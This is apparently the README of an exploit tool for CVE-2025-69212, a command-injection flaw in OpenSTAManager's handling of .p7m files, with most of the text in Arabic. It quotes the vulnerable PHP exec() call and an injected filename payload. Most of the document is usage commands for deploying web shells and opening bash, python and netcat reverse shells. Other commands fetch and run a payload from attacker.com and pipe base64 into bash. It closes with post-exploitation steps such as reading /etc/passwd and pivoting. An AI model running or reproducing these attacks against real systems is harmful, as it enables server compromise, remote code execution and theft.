// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# تسجيل الدخول باستخدام بيانات الاعتماد
python3 exploit.py -t http://target.com -u admin -p secret --check

# استخدام جلسة كوكي موجودة
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# اكتشاف تلقائي للإضافة والتحقق من الثغرة
python3 exploit.py -t http://target.com -u admin -p secret --check

# مع معرفات الوحدة/الإضافة المعروفة
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# نشر شل ويب في الدليل الافتراضي (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# دليل واسم مخصصان
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# نشر شل ويب + شل تفاعلية
python3 exploit.py -t http://target.com -u admin -p secret --rce

# مع شل ويب موجود من تشغيل سابق
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# شل عكسية Bash (افتراضي، موثوق جدًا)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# شل عكسية Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat باستخدام mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat باستخدام العلم -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# تنفيذ أمر (بدون إرجاع الإخراج)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# تحميل وتنفيذ حمولة
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# عبر وكيل Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# مع تأخير الطلب (ثانيتين)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# تخطي التحقق من SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k

الهدف:
  -t, --target           عنوان URL الأساسي للهدف

المصادقة:
  -u, --user             اسم المستخدم لتسجيل الدخول
  -p, --password         كلمة المرور لتسجيل الدخول
  -c, --cookie           قيمة PHPSESSID موجودة

الإجراءات:
  --check                التحقق مما إذا كان الهدف معرضًا للخطر
  --webshell             نشر شل ويب PHP
  --rce                  شل تفاعلية عبر شل الويب
  --reverse-shell        شل عكسية (LHOST LPORT)
  --cmd COMMAND          تنفيذ أوامر أعمى

خيارات الشل:
  --shell-dir DIR        دليل كتابة شل الويب (الافتراضي: files)
  --shell-name NAME      اسم ملف شل ويب مخصص
  --method METHOD        طريقة الشل العكسية: bash, python, nc, nc-e

اكتشاف الإضافة:
  --module-id ID         معرف وحدة OpenSTAManager
  --plugin-id ID         معرف إضافة importFE_ZIP

الشبكة:
  --proxy URL            عنوان URL لوكيل HTTP
  -k, --no-ssl-verify    تعطيل التحقق من SSL
  --delay SECONDS        التأخير بين الطلبات

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

رفع ZIP عبر إضافة importFE_ZIP
    └── يقوم actions.php بإرسال المعالجة إلى معالج الإضافة
        └── يقوم ZipArchive::extractTo() باستخراج الملفات
            └── يتكرر على ملفات .p7m
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── يفسر الشل الأوامر المحقونة

1. --check             → تأكيد RCE عبر ملف علامة
2. --webshell          → إسقاط شل PHP في دليل files/
3. --rce               → تنفيذ أوامر تفاعلي
4. استكشاف            → id, cat /etc/passwd, ifconfig
5. تنقل               → شل عكسية للمهاجم، استغلال ما بعد الهجوم